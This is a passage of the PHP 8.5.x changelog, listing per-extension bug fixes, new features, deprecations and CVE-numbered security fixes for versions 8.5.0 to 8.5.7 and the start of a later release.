        • Fixed bug (Memory corruption (zend_mm_heap corrupted) in openssl_encrypt with AES-WRAP-PAD). (CVE-2026-14355)
        • +
      • +
      • Phar: +
          +
        • Fixed a bypass of the magic ".phar" directory protection in Phar::addEmptyDir() for paths starting with "/.phar", while allowing non-magic directory names that merely share the ".phar" prefix.
        • +
      • +
      • Reflection: +
          +
        • Preserve class-name case in ReflectionClass::getProperty() error messages and autoloading.
        • +
      • +
      • SOAP: +
          +
        • Fixed bug (SoapServer::handle() crash on $_SERVER not being an array).
        • +
        • Fixed bug (Soap server requires the raw input to be passed to $server->handle).
        • +
      • +
      • Sqlite: +
          +
        • Fix error checks for column retrieval.
        • +
      • +
      • URI: +
          +
        • Add LEXBOR_STATIC to CFLAGS_URI on Windows so ext/uri does not see LXB_API as __declspec(dllimport) when linked statically into PHP.
        • +
        • Clean error logs before each Uri\WhatWg\Url wither call so that errors from previous wither calls are not returned the next time a UrlValidationError is thrown.
        • +
      • +
      • Zip: +
          +
        • Fixed error-related memory leaks.
        • +
      • +
      • Zlib: +
          +
        • Fixed memory leak if deflate initialization fails and there is a dict.
        • +
        • Fixed memory leak in inflate_add().
        • +
      • +
      +
      + + + +
      +

      Version 8.5.7

      + +
      • CLI: +
          +
        • Fixed bug (Stale getopt() optional value).
        • +
      • +
      • Date: +
          +
        • Fixed bug (int overflow in php_date_llabs).
        • +
      • +
      • DOM: +
          +
        • Fixed bug (UAF in custom XPath function).
        • +
      • +
      • Opcache: +
          +
        • Fixed tracing JIT crash when a VM interrupt is handled during an observed user function call.
        • +
        • Fixed bug (Segfault with tracing JIT).
        • +
        • Fixed bug (Assertion failure at ext/opcache/jit/zend_jit_trace.c).
        • +
        • Fixed tailcall VM crash when a VM interrupt is handled from a VM helper.
        • +
      • +
      • OpenSSL: +
          +
        • Fix compatibility issues with OpenSSL 4.0.
        • +
      • +
      • Standard: +
          +
        • Fixed bug (version_compare() incorrectly handles versions ending with a dot).
        • +
      • +
      • URI: +
          +
        • Fixed CVE-2026-44927 (In uriparser before 1.0.2, there is pointer difference truncation to int in various places). (CVE-2026-44927)
        • +
        • Fixed CVE-2026-44928 (In uriparser before 1.0.2, the function family EqualsUri can misclassify two unequal URIs as equal). (CVE-2026-44928)
        • +
      • +
      +
      + + + +
      +

      Version 8.5.6

      + +
      • Core: +
          +
        • Fixed bug (GC assertion failure with fibers, generators and destructors).
        • +
        • Fixed ZEND_API mismatch on zend_ce_closure forward decl for Windows+Clang.
        • +
        • Fixed bug (Incorrect RC-handling for ZEND_EXT_STMT op1).
        • +
        • Fixed bug (Forward property operations to real instance for initialized lazy proxies).
        • +
        • Fixed bug (Missing addref for Countable::count()).
        • +
        • Fixed bug (Assertion failure in shutdown_executor when resolving self::/parent::/static:: callables if the error handler throws).
        • +
        • Fixed bug (Missing addref for __unset).
        • +
        • Fixed bug (Trait with class constant name conflict against enum case causes SEGV).
        • +
      • +
      • CLI: +
          +
        • Fixed bug (`--rf` command line option with a method triggers ext/reflection deprecation warnings).
        • +
      • +
      • Curl: +
          +
        • Add support for brotli and zstd on Windows.
        • +
      • +
      • DOM: +
          +
        • Fixed and (Dom\XMLDocument::C14N() emits duplicate xmlns declarations after setAttributeNS()). (CVE-2026-7263)
        • +
      • +
      • FPM: +
          +
        • Fixed (XSS within status endpoint). (CVE-2026-6735)
        • +
      • +
      • Iconv: +
          +
        • Fixed bug (iconv memory leak on bailout).
        • +
      • +
      • Lexbor: +
          +
        • Upgrade to lexbor v2.7.0.
        • +
      • +
      • MBString: +
          +
        • Fixed (Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()). (CVE-2026-7259)
        • +
        • Fixed (Out-of-bounds access in mbfl_name2encoding_ex()). (CVE-2026-6104)
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (JIT: Assertion jit->ra[var].flags & (1<<0) failed in zend_jit_use_reg).
        • +
        • Fixed bug (Borked function JIT JMPNZ smart branch).
        • +
        • Fixed bug (COND optimization regression).
        • +
        • Fixed faulty returns out of zend_try block in zend_jit_trace().
        • +
      • +
      • OpenSSL: +
          +
        • Fix memory leak regression in openssl_pbkdf2().
        • +
        • Fix a bunch of memory leaks and crashes on edge cases.
        • +
      • +
      • PDO_Firebird: +
          +
        • Fixed (SQL injection via NUL bytes in quoted strings). (CVE-2025-14179)
        • +
      • +
      • PDO_PGSQL: +
          +
        • Fixed bug (pdo_pgsql throws with ATTR_PREFETCH=0 on empty result set).
        • +
      • +
      • Phar: +
          +
        • Restore is_link handler in phar_intercept_functions_shutdown.
        • +
        • Fixed bug (phar: NULL dereference in Phar::webPhar() when SCRIPT_NAME is absent from SAPI environment).
        • +
        • Fix memory leak in Phar::offsetGet().
        • +
        • Fix memory leak in phar_add_file().
        • +
        • Fixed bug (phar: propagate phar_stream_flush return value from phar_stream_close).
        • +
        • Fix memory leak in phar_verify_signature() when md_ctx is invalid.
        • +
      • +
      • Random: +
          +
        • Fixed bug (Random\Engine\Xoshiro256StarStar::__unserialize() accepts all-zero state).
        • +
      • +
      • Session: +
          +
        • Fixed memory leak when session GC callback return a refcounted value.
        • +
      • +
      • SOAP: +
          +
        • Fixed (Stale SOAP_GLOBAL(ref_map) pointer with Apache Map). (CVE-2026-6722)
        • +
        • Fixed (Use-after-free after header parsing failure with SOAP_PERSISTENCE_SESSION). (CVE-2026-7261)
        • +
        • Fixed (Broken Apache map value NULL check). (CVE-2026-7262)
        • +
      • +
      • SPL: +
          +
        • Fixed bug (RecursiveArrayIterator getChildren UAF after parent free).
        • +
        • Fix concurrent iteration and deletion issues in SplObjectStorage.
        • +
      • +
      • Sqlite3: +
          +
        • Fixed wrong free list comparator pointer type.
        • +
      • +
      • Standard: +
          +
        • Fixed (Signed integer overflow of char array offset). (CVE-2026-7568)
        • +
        • Fixed (Consistently pass unsigned char to ctype.h functions). (CVE-2026-7258)
        • +
      • +
      • Streams: +
          +
        • Fixed bug (Segfault in file_get_contents w/ a https URL and a proxy set). (CVE-2026-12184)
        • +
      • +
      • URI: +
          +
        • Fixed CVE-2026-42371 (uriparser before 1.0.1 has numeric truncation in text range comparison). (CVE-2026-42371)
        • +
      • +
      +
      + + + +
      +

      Version 8.5.5

      + +
      • Core: +
          +
        • Fixed bug (Incorrect property_info sizing for locally shadowed trait properties).
        • +
        • Fixed bugs , , (Propagate IN_GET guard in get_property_ptr_ptr for lazy proxies).
        • +
      • +
      • Bz2: +
          +
        • Fix truncation of total output size causing erroneous errors.
        • +
      • +
      • DOM: +
          +
        • Fixed bug (Dom\HTMLDocument parser mangles xml:space and xml:lang attributes).
        • +
      • +
      • FFI: +
          +
        • Fixed resource leak in FFI::cdef() onsymbol resolution failure.
        • +
      • +
      • GD: +
          +
        • Fixed bug (phpinfo() to display libJPEG 10.0 support).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Preloaded constant erroneously propagated to file-cached script).
        • +
        • Fixed bug (JIT compiler produces wrong arithmetic results).
        • +
        • Fixed bug (JIT tracing: infinite loop on FETCH_OBJ_R with IS_UNDEF property in polymorphic context).
        • +
        • Fixed bug (uaf in jit).
        • +
      • +
      • OpenSSL: +
          +
        • Fixed bug (Skip private_key_bits validation for EC/curve-based keys).
        • +
        • Fix missing error propagation for BIO_printf() calls.
        • +
      • +
      • PCNTL: +
          +
        • Fixed signal handler installation on AIX by bumping the storage size of the num_signals global.
        • +
      • +
      • PCRE: +
          +
        • Fixed re-entrancy issue on php_pcre_match_impl, php_pcre_replace_impl, php_pcre_split_impl, and php_pcre_grep_impl.
        • +
      • +
      • Phar: +
          +
        • Fixed bug (use after free when unlinking entries during iteration of a compressed phar).
        • +
      • +
      • SNMP: +
          +
        • Fixed bug (SNMP::setSecurity() undefined behavior with NULL arguments).
        • +
      • +
      • SOAP: +
          +
        • Fixed Set-Cookie parsing bug wrong offset while scanning attributes.
        • +
      • +
      • SPL: +
          +
        • Fixed bug (missing write lock validation in SplHeap).
        • +
      • +
      • Standard: +
          +
        • Fixed bug (Assertion failure when messing up output buffers).
        • +
        • Fixed bug (Cannot identify some avif images with getimagesize).
        • +
      • +
      • Sysvshm: +
          +
        • Fix memory leak in shm_get_var() when variable is corrupted.
        • +
      • +
      • XSL: +
          +
        • Fix (XSLTProcessor works with DOMDocument, but fails with Dom\XMLDocument).
        • +
        • Fixed bug (UAF in dom_objects_free_storage).
        • +
      • +
      +
      + + + +
      +

      Version 8.5.4

      + +
      • Core: +
          +
        • Fixed bug (zend_mm_heap corrupted on Aarch64, LTO builds).
        • +
        • Fixed bug (Segfault when preloading constant AST closure).
        • +
        • Fixed bug (Crash on (unset) cast in constant expression).
        • +
        • Fix deprecation now showing when accessing null key of an array with JIT.
        • +
        • Fixed bug (Assertion failure in zend_lazy_object_get_info triggered by setRawValueWithoutLazyInitialization() and newLazyGhost()).
        • +
        • Fixed bug (Assertion failure in zend_get_property_guard when accessing properties on Reflection LazyProxy via isset()).
        • +
        • Fixed OSS-Fuzz #478009707 (Borked assign-op/inc/dec on untyped hooked property backing value).
        • +
        • Fixed bug (Build fails with -std=).
        • +
        • Fixed bug (Build system installs libtool wrappers when using slibtool).
        • +
      • +
      • Curl: +
          +
        • Don't truncate length.
        • +
      • +
      • Date: +
          +
        • Fixed bug (DatePeriod::__set_state() cannot handle null start).
        • +
        • Fix timezone offset with seconds losing precision.
        • +
      • +
      • DOM: +
          +
        • Fixed bug (Accessing Dom\Node::baseURI can throw TypeError).
        • +
        • Fixed bug (Accessing Dom\Node properties can can throw TypeError).
        • +
      • +
      • LDAP: +
          +
        • Fixed bug (ldap_modify() too strict controls argument validation makes it impossible to unset attribute).
        • +
      • +
      • MBString: +
          +
        • Fixed bug ; mb_guess_encoding no longer crashes when passed huge list of candidate encodings (with 200,000+ entries).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug ("Insufficient shared memory" when using JIT on Solaris).
        • +
        • Fixed bug (Borked SCCP of array containing partial object).
        • +
      • +
      • OpenSSL: +
          +
        • Fix a bunch of leaks and error propagation.
        • +
      • +
      • Windows: +
          +
        • Fixed compilation with clang (missing intrin.h include).
        • +
      • +
      +
      + + + +
      +

      Version 8.5.3

      + +
      • Core: +
          +
        • Fixed bug (preserve_none feature compatiblity with LTO).
        • +
        • Fixed bug (build failure with musttail/preserve_none feature on macOs).
        • +
        • Fixed bug (NULL dereference when calling ob_start() in shutdown function triggered by bailout in php_output_lock_error()).
        • +
        • Fix OSS-Fuzz #471533782 (Infinite loop in GC destructor fiber).
        • +
        • Fix OSS-Fuzz #472563272 (Borked block_pass JMP[N]Z optimization).
        • +
        • Fixed bug (Internal enums can be cloned and compared).
        • +
        • Fix OSS-Fuzz #474613951 (Leaked parent property default value).
        • +
        • Fixed bug (ReflectionProperty does not return the PHPDoc of a property if it contains an attribute with a Closure).
        • +
        • Fixed bug (Use-after-free in FE_FREE with GC interaction).
        • +
        • Fix OSS-Fuzz #471486164 (Broken by-ref assignment to uninitialized hooked backing value).
        • +
        • Fix OSS-Fuzz #438780145 (Nested finally with repeated return type check may uaf).
        • +
        • Fixed bug (Lazy proxy bailing __clone assertion).
        • +
        • Fixed bug (Hooked object properties overflow).
        • +
      • +
      • Date: +
          +
        • Update timelib to 2022.16.
        • +
      • +
      • DOM: +
          +
        • Fixed (Dom\HTMLDocument corrupts closing tags within scripts).
        • +
      • +
      • MbString: +
          +
        • Fixed bug (mb_str_pad() divide by zero if padding string is invalid in the encoding).
        • +
        • Fixed bug (Stack overflow in mb_convert_variables with recursive array references).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Segfault in Tracing JIT with object reference).
        • +
      • +
      • OpenSSL: +
          +
        • Fix memory leaks when sk_X509_new_null() fails.
        • +
        • Fix crash when in openssl_x509_parse() when i2s_ASN1_INTEGER() fails.
        • +
        • Fix crash in openssl_x509_parse() when X509_NAME_oneline() fails.
        • +
      • +
      • Phar: +
          +
        • Fixed bug (buildFromIterator breaks with missing base directory).
        • +
      • +
      • PGSQL: +
          +
        • Fixed INSERT/UPDATE queries building with PQescapeIdentifier() and possible UB.
        • +
      • +
      • Readline: +
          +
        • Fixed bug (Memory leak when overriding some settings via readline_info()).
        • +
      • +
      • SPL: +
          +
        • Fixed bug (heap-use-after-free in SplDoublyLinkedList iterator when modifying during iteration).
        • +
      • +
      • Standard: +
          +
        • (lchown fails to change ownership of symlink with ZTS) (Jakub Zelenka)
        • +
        • Fixed bug (var_dump() crash with nested objects) (David Carlier)
        • +
      • +
      +
      + + + +
      +

      Version 8.5.2

      + +
      • Core: +
          +
        • Fix OSS-Fuzz #465488618 (Wrong assumptions when dumping function signature with dynamic class const lookup default argument).
        • +
        • Fixed bug (Assertion failure in normalize_value() when parsing malformed INI input via parse_ini_string()).
        • +
        • Fixed bug (Uncatchable exception thrown in generator).
        • +
        • Fixed bug (UAF in php_output_handler_free via re-entrant ob_start() during error deactivation).
        • +
        • Fixed bug ("Casting out of range floats to int" applies to strings).
        • +
      • +
      • DOM: +
          +
        • Fixed bug (Null pointer dereference in DOM namespace node cloning via clone on malformed objects).
        • +
        • Fixed bug (Dom\XMLDocument::C14N() seems broken compared to DOMDocument::C14N()).
        • +
      • +
      • EXIF: +
          +
        • Fixed bug (Integer underflow in exif HEIF parsing when pos.size < 2).
        • +
      • +
      • Intl: +
          +
        • Fix leak in umsg_format_helper().
        • +
      • +
      • LDAP: +
          +
        • Fix memory leak in ldap_set_options().
        • +
      • +
      • Lexbor: +
          +
        • Fixed bug (\Uri\WhatWg\Url::withHost() crashes (SEGV) for URLs using the file: scheme).
        • +
      • +
      • Mbstring: +
          +
        • Fixed bug (mb_decode_mimeheader does not handle separator).
        • +
      • +
      • PCNTL: +
          +
        • Fixed bug with pcntl_getcpuaffinity() on solaris regarding invalid process ids handling.
        • +
      • +
      • Phar: +
          +
        • Fixed bug (Phar::LoadPhar undefined behavior when reading fails).
        • +
        • Fix SplFileInfo::openFile() in write mode.
        • +
        • Fix build on legacy OpenSSL 1.1.0 systems.
        • +
        • (Phar extractTo creates empty files).
        • +
      • +
      • Session: +
          +
        • Fix support for MM module.
        • +
      • +
      • Sqlite3: +
          +
        • Fixed bug (SQLite3Result fetchArray return array|false, null returned).
        • +
      • +
      • Standard: +
          +
        • Fix error check for proc_open() command.
        • +
        • Fix memory leak in mail() when header key is numeric.
        • +
        • Fixed bug (Heap Buffer Overflow in iptcembed).
        • +
      • +
      • URI: +
          +
        • Fixed bug (Assertion failure when getUnicodeHost() returns empty string).
        • +
      • +
      • Zlib: +
          +
        • Fix OOB gzseek() causing assertion failure.
        • +
      • +
      +
      + + + +
      +

      Version 8.5.1

      + +
      • Core: +
          +
        • Sync all boost.context files with release 1.86.0.
        • +
        • Fixed bug (SensitiveParameter doesn't work for named argument passing to variadic parameter).
        • +
        • Fixed bug (preserve_none attribute configure check on macOs issue).
        • +
        • Fixed bug (use-after-destroy during userland stream_close()).
        • +
      • +
      • Bz2: +
          +
        • Fix assertion failures resulting in crashes with stream filter object parameters.
        • +
      • +
      • DOM: +
          +
        • Fix memory leak when edge case is hit when registering xpath callback.
        • +
        • Fixed bug (querySelector and querySelectorAll requires elements in $selectors to be lowercase).
        • +
        • Fix missing NUL byte check on C14NFile().
        • +
      • +
      • Fibers: +
          +
        • Fixed bug (ASAN stack overflow with fiber.stack_size INI small value).
        • +
      • +
      • Intl: +
          +
        • Fixed bug (Spoofchecker::setRestrictionLevel() error message suggests missing constants).
        • +
      • +
      • Lexbor: +
          +
        • Fixed bug (\Uri\WhatWg\Url lose host after calling withPath() or withQuery()).
        • +
        • Fixed bug (\Uri\WhatWg\Url crashes (SEGV) when parsing malformed URL due to Lexbor memory corruption).
        • +
      • +
      • LibXML: +
          +
        • Fix some deprecations on newer libxml versions regarding input buffer/parser handling.
        • +
      • +
      • MySQLnd: +
          +
        • Fixed bug (Regression breaks mysql connexion using an IPv6 address enclosed in square brackets).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (opcache.file_cache broken with full interned string buffer).
        • +
      • +
      • PDO: +
          +
        • Fixed bug (PDO::FETCH_CLASSTYPE ignores $constructorArgs in PHP 8.5.0).
        • +
        • Fixed (PDO quoting result null deref). (CVE-2025-14180)
        • +
      • +
      • Phar: +
          +
        • Fixed bug (Phar does not respect case-insensitiveness of __halt_compiler() when reading stub).
        • +
        • Fix broken return value of fflush() for phar file entries.
        • +
        • Fix assertion failure when fseeking a phar file out of bounds.
        • +
      • +
      • PHPDBG: +
          +
        • Fixed ZPP type violation in phpdbg_get_executable() and phpdbg_end_oplog().
        • +
      • +
      • SPL: +
          +
        • Fixed bug (SplFixedArray incorrectly handles references in deserialization).
        • +
      • +
      • Standard: +
          +
        • Fix memory leak in array_diff() with custom type checks.
        • +
        • Fixed bug (Stack overflow in http_build_query via deep structures).
        • +
        • Fixed (Null byte termination in dns_get_record()).
        • +
        • Fixed (Heap buffer overflow in array_merge()). (CVE-2025-14178)
        • +
        • Fixed (Information Leak of Memory in getimagesize). (CVE-2025-14177)
        • +
      • +
      • URI: +
          +
        • Fixed bug (ext/uri incorrectly throws ValueError when encountering null byte).
        • +
        • Fixed CVE-2025-67899 (uriparser through 0.9.9 allows unbounded recursion and stack consumption).
        • +
      • +
      • XML: +
          +
        • Fixed bug (xml_set_default_handler() does not properly handle special characters in attributes when passing data to callback).
        • +
      • +
      • Zip: +
          +
        • Fix crash in property existence test.
        • +
        • Don't truncate return value of zip_fread() with user sizes.
        • +
      • +
      • Zlib: +
          +
        • Fix assertion failures resulting in crashes with stream filter object parameters.
        • +
      • +
      +
      + + + +
      +

      Version 8.5.0

      + +
      • Core: +
          +
        • Added the #[\NoDiscard] attribute to indicate that a function's return value is important and should be consumed.
        • +
        • Added the (void) cast to indicate that not using a value is intentional.
        • +
        • Added get_error_handler(), get_exception_handler() functions.
        • +
        • Added support for casts in constant expressions.
        • +
        • Added the pipe (|>) operator.
        • +
        • Added the #[\DelayedTargetValidation] attribute to delay target errors for internal attributes from compile time to runtime.
        • +
        • Added support for `final` with constructor property promotion.
        • +
        • Added support for configuring the URI parser for the FTP/FTPS as well as the SSL/TLS stream wrappers as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • +
        • Added PHP_BUILD_PROVIDER constant.
        • +
        • Added PHP_BUILD_DATE constant.
        • +
        • Added support for Closures and first class callables in constant expressions.
        • +
        • Add support for backtraces for fatal errors.
        • +
        • Add clone-with support to the clone() function.
        • +
        • Add RFC 3986 and WHATWG URL compliant APIs for URL parsing and manipulation (kocsismate, timwolla)
        • +
        • Fixed AST printing for immediately invoked Closure.
        • +
        • Properly handle __debugInfo() returning an array reference.
        • +
        • Properly handle reference return value from __toString().
        • +
        • Improved error message of UnhandledMatchError for zend.exception_string_param_max_len=0.
        • +
        • Fixed bug and (Bind traits before parent class).
        • +
        • Fixed bug (memory_limit is not always limited by max_memory_limit).
        • +
        • Fixed bug (Stale EG(opline_before_exception) pointer through eval).
        • +
        • Fixed bug (Missing new Foo(...) error in constant expressions).
        • +
        • Fixed bug (Don't bail when closing resources on shutdown).
        • +
        • Fixed bug (Accessing overridden private property in get_object_vars() triggers assertion error).
        • +
        • Fix OSS-Fuzz #447521098 (Fatal error during sccp shift eval).
        • +
        • Fixed bug (Broken build on *BSD with MSAN).
        • +
        • Fixed bug (Cross-compilation with musl C library).
        • +
        • Fixed bug (object_properties_load() bypasses readonly property checks).
        • +
        • Fixed hard_timeout with --enable-zend-max-execution-timers.
        • +
        • Fixed bug (Incorrect HASH_FLAG_HAS_EMPTY_IND flag on userland array).
        • +
        • Fixed bug (register_argc_argv deprecation emitted twice when using OPcache).
        • +
        • Fixed bug (error_log php.ini cannot be unset when open_basedir is configured).
        • +
        • Fixed bug (Allow empty statements before declare(strict_types)).
        • +
        • Fixed bug (CGI with auto_globals_jit=0 causes uouv).
        • +
        • Fixed bug (Stale array iterator pointer).
        • +
        • Fixed bug (zend_ssa_range_widening may fail to converge).
        • +
        • Fixed bug (PHP_EXPAND_PATH broken with bash 5.3.0).
        • +
        • Fixed bug (Repeated inclusion of file with __halt_compiler() triggers "Constant already defined" warning).
        • +
        • Fixed bug (pipe operator fails to correctly handle returning by reference).
        • +
        • Fixed bug (Wrong lineno in property error with constructor property promotion).
        • +
        • Fixed bug (Relax missing trait fatal error to error exception).
        • +
        • Fixed bug (NULL-ptr dereference when using register_tick_function in destructor).
        • +
        • Fixed bug (Improve "expecting token" error for ampersand).
        • +
        • The report_memleaks INI directive has been deprecated.
        • +
        • Fixed OSS-Fuzz #439125710 (Pipe cannot be used in write context).
        • +
        • Fixed bug (Shared memory violation on property inheritance).
        • +
        • Fixed bug (GC treats ZEND_WEAKREF_TAG_MAP references as WeakMap references).
        • +
        • Fixed bug (Don't substitute self/parent with anonymous class).
        • +
        • Fix support for non-userland stream notifiers.
        • +
        • Fixed bug (Operands may be being released during comparison).
        • +
        • Fixed bug (Generator can be resumed while fetching next value from delegated Generator).
        • +
        • Fixed bug (Calling Generator::throw() on a running generator with a non-Generator delegate crashes).
        • +
        • Fix OSS-Fuzz #427814452 (pipe compilation fails with assert).
        • +
        • Fixed bug (\array and \callable should not be usable in class_alias).
        • +
        • Use `clock_gettime_nsec_np()` for high resolution timer on macOS if available.
        • +
        • Make `clone()` a function.
        • +
        • Introduced the TAILCALL VM, enabled by default when compiling with Clang>=19 on x86_64 or aarch64.
        • +
        • Enacted the follow-up phase of the "Path to Saner Increment/Decrement operators" RFC, meaning that incrementing non-numeric strings is now deprecated. (Girgias).
        • +
        • Various closure binding issues are now deprecated.
        • +
        • Constant redeclaration has been deprecated.
        • +
        • Marks the stack as non-executable on Haiku.
        • +
        • Deriving $_SERVER['argc'] and $_SERVER['argv'] from the query string is now deprecated.
        • +
        • Using null as an array offset or when calling array_key_exists() is now deprecated.
        • +
        • The disable_classes INI directive has been removed.
        • +
        • The locally predefined variable $http_response_header is deprecated.
        • +
        • Non-canonical cast names (boolean), (integer), (double), and (binary) have been deprecated.
        • +
        • The $exclude_disabled parameter of the get_defined_functions() function has been deprecated, as it no longer has any effect since PHP 8.0.
        • +
        • Terminating case statements with a semicolon instead of a colon has been deprecated.
        • +
        • The backtick operator as an alias for shell_exec() has been deprecated.
        • +
        • Returning null from __debugInfo() has been deprecated.
        • +
        • Support #[\Override] on properties.
        • +
        • Destructing non-array values (other than NULL) using [] or list() now emits a warning.
        • +
        • Casting floats that are not representable as ints now emits a warning.
        • +
        • Casting NAN to other types now emits a warning.
        • +
        • Implement (Enhance zend_dump_op_array to properly represent non-printable characters in string literals).
        • +
        • Fixed bug (Engine UAF with reference assign and dtor).
        • +
        • Do not use RTLD_DEEPBIND if dlmopen is available.
        • +
        • Implement (It is now allowed to substitute static with self or the concrete class name + in final subclasses)
        • +
      • +
      • BCMath: +
          +
        • Simplify `bc_divide()` code.
        • +
        • If the result is 0, n_scale is set to 0.
        • +
        • If size of BC_VECTOR array is within 64 bytes, stack area is now used.
        • +
        • Fixed bug (Power of 0 of BcMath number causes UB).
        • +
      • +
      • Bz2: +
          +
        • Fixed bug (Broken bzopen() stream mode validation).
        • +
      • +
      • CLI: +
          +
        • Add --ini=diff to print INI settings changed from the builtin default.
        • +
        • Drop support for -z CLI/CGI flag.
        • +
        • Fixed - development server 404 page does not adapt to mobiles.
        • +
        • Fix useless "Failed to poll event" error logs due to EAGAIN in CLI server with PHP_CLI_SERVER_WORKERS.
        • +
        • Fixed bug (Improve error message on listening error with IPv6 address).
        • +
      • +
      • COM: +
          +
        • Fixed property access of PHP objects wrapped in variant.
        • +
        • Fixed method calls for PHP objects wrapped in variant.
        • +
      • +
      • Curl: +
          +
        • Added CURLFOLLOW_ALL, CURLFOLLOW_OBEYCODE and CURLFOLLOW_FIRSTONLY values for CURLOPT_FOLLOWLOCATION curl_easy_setopt option.
        • +
        • Added curl_multi_get_handles().
        • +
        • Added curl_share_init_persistent().
        • +
        • Added CURLINFO_USED_PROXY, CURLINFO_HTTPAUTH_USED, and CURLINFO_PROXYAUTH_USED support to curl_getinfo.
        • +
        • Add support for CURLINFO_CONN_ID in curl_getinfo() (thecaliskan)
        • +
        • Add support for CURLINFO_QUEUE_TIME_T in curl_getinfo() (thecaliskan)
        • +
        • Add support for CURLOPT_SSL_SIGNATURE_ALGORITHMS.
        • +
        • The curl_close() function has been deprecated.
        • +
        • The curl_share_close() function has been deprecated.
        • +
        • Fix cloning of CURLOPT_POSTFIELDS when using the clone operator instead of the curl_copy_handle() function to clone a CurlHandle.
        • +
      • +
      • Date: +
          +
        • Fix undefined behaviour problems regarding integer overflow in extreme edge cases.
        • +
        • The DATE_RFC7231 and DateTimeInterface::RFC7231 constants have been deprecated.
        • +
        • Fixed date_sunrise() and date_sunset() with partial-hour UTC offset.
        • +
        • Fixed : "P" format for ::createFromFormat swallows string literals.
        • +
        • The __wakeup() magic method of DateTimeInterface, DateTime, DateTimeImmutable, DateTimeZone, DateInterval, and DatePeriod has been deprecated in favour of the __unserialize() magic method.
        • +
      • +
      • DOM: +
          +
        • Added Dom\Element::$outerHTML.
        • +
        • Added Dom\Element::insertAdjacentHTML().
        • +
        • Added $children property to ParentNode implementations.
        • +
        • Make cloning DOM node lists, maps, and collections fail.
        • +
        • Added Dom\Element::getElementsByClassName().
        • +
        • Fixed bug (\Dom\HTMLDocument querySelectorAll selecting only the first when using ~ and :has).
        • +
        • Fix getNamedItemNS() incorrect namespace check.
        • +
      • +
      • Enchant: +
          +
        • Added enchant_dict_remove_from_session().
        • +
        • Added enchant_dict_remove().
        • +
        • Fix missing empty string checks.
        • +
      • +
      • EXIF: +
          +
        • Add OffsetTime* Exif tags.
        • +
        • Added support to retrieve Exif from HEIF file.
        • +
        • Fix OSS-Fuzz #442954659 (zero-size box in HEIF file causes infinite loop).
        • +
        • Fix OSS-Fuzz #442954659 (Crash in exif_scan_HEIF_header).
        • +
        • Various hardening fixes to HEIF parsing.
        • +
      • +
      • FileInfo: +
          +
        • The finfo_close() function has been deprecated.
        • +
        • The $context parameter of the finfo_buffer() function has been deprecated as it is ignored.
        • +
        • Upgrade to file 5.46.
        • +
        • Change return type of finfo_close() to true.
        • +
      • +
      • Filter: +
          +
        • Added support for configuring the URI parser for FILTER_VALIDATE_URL as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • +
        • Fixed bug (filter_var_array with FILTER_VALIDATE_INT|FILTER_NULL_ON_FAILURE should emit warning for invalid filter usage).
        • +
      • +
      • FPM: +
          +
        • Fixed bug (Decode SCRIPT_FILENAME issue in php 8.5).
        • +
        • Fixed bug (PHP 8.5 FPM access log lines also go to STDERR).
        • +
        • Fixed (FPM with httpd ProxyPass does not decode script path).
        • +
        • Make FPM access log limit configurable using log_limit.
        • +
        • Fixed failed debug assertion when php_admin_value setting fails.
        • +
        • Fixed (post_max_size evaluates .user.ini too late in php-fpm).
        • +
      • +
      • GD: +
          +
        • (Transparent artifacts when using imagerotate).
        • +
        • (ZTS GD fails to find system TrueType font).
        • +
        • Fix incorrect comparison with result of php_stream_can_cast().
        • +
        • The imagedestroy() function has been deprecated.
        • +
      • +
      • Iconv: +
          +
        • Extends the ICONV_CONST preprocessor for illumos/solaris.
        • +
      • +
      • Intl: +
          +
        • Bumped ICU requirement to ICU >= 57.1.
        • +
        • IntlDateFormatter::setTimeZone()/datefmt_set_timezone() throws an exception with uninitialised classes or clone failure.
        • +
        • Added DECIMAL_COMPACT_SHORT/DECIMAL_COMPACT_LONG for NumberFormatter class.
        • +
        • Added Locale::isRightToLeft to check if a locale is written right to left.
        • +
        • Added null bytes presence in locale inputs for Locale class.
        • +
        • Added grapheme_levenshtein() function.
        • +
        • Added Locale::addLikelySubtags/Locale::minimizeSubtags to handle adding/removing likely subtags to a locale.
        • +
        • Added IntlListFormatter class to format a list of items with a locale, operands types and units.
        • +
        • Added grapheme_strpos(), grapheme_stripos(), grapheme_strrpos(), grapheme_strripos(), grapheme_substr(), grapheme_strstr(), grapheme_stristr() and grapheme_levenshtein() functions add $locale parameter (Yuya Hamada).
        • +
        • Fixed bug (Fix locale strings canonicalization for IntlDateFormatter and NumberFormatter).
        • +
        • Fixed bug ([intl] Weird numeric sort in Collator).
        • +
        • Fix return value on failure for resourcebundle count handler.
        • +
        • Fixed bug (PGO builds of shared ext-intl are broken).
        • +
        • Intl's internal error mechanism has been modernized so that it indicates more accurately which call site caused what error. Moreover, some ext/date exceptions have been wrapped inside a IntlException now.
        • +
        • The intl.error_level INI setting has been deprecated.
        • +
      • +
      • LDAP: +
          +
        • Allow ldap_get_option to retrieve global option by allowing NULL for connection instance ($ldap).
        • +
      • +
      • MBstring: +
          +
        • Updated Unicode data tables to Unicode 17.0.
        • +
      • +
      • MySQLi: +
          +
        • Fixed bugs and (calling mysqli::__construct twice).
        • +
        • The mysqli_execute() alias function has been deprecated.
        • +
      • +
      • MySQLnd: +
          +
        • Added mysqlnd.collect_memory_statistics to ini quick reference.
        • +
      • +
      • ODBC: +
          +
        • Removed driver-specific build flags and support.
        • +
        • Remove ODBCVER and assume ODBC 3.5.
        • +
      • +
      • Opcache: +
          +
        • Make OPcache non-optional (Arnaud, timwolla)
        • +
        • Added opcache.file_cache_read_only.
        • +
        • Updated default value of opcache.jit_hot_loop.
        • +
        • Log a warning when opcache lock file permissions could not be changed.
        • +
        • Fixed bug (heap buffer overflow in jit).
        • +
        • Partially fixed bug (Avoid calling wrong function when reusing file caches across differing environments).
        • +
        • Disallow changing opcache.memory_consumption when SHM is already set up.
        • +
        • Fixed bug (Compiling opcache statically into ZTS PHP fails).
        • +
        • Fixed bug (OPcache bypasses the user-defined error handler for deprecations).
        • +
        • Fixed bug (opcache build failure).
        • +
        • Fixed bug (access to uninitialized vars in preload_load()).
        • +
        • Fixed bug (JIT broken in ZTS builds on MacOS 15).
        • +
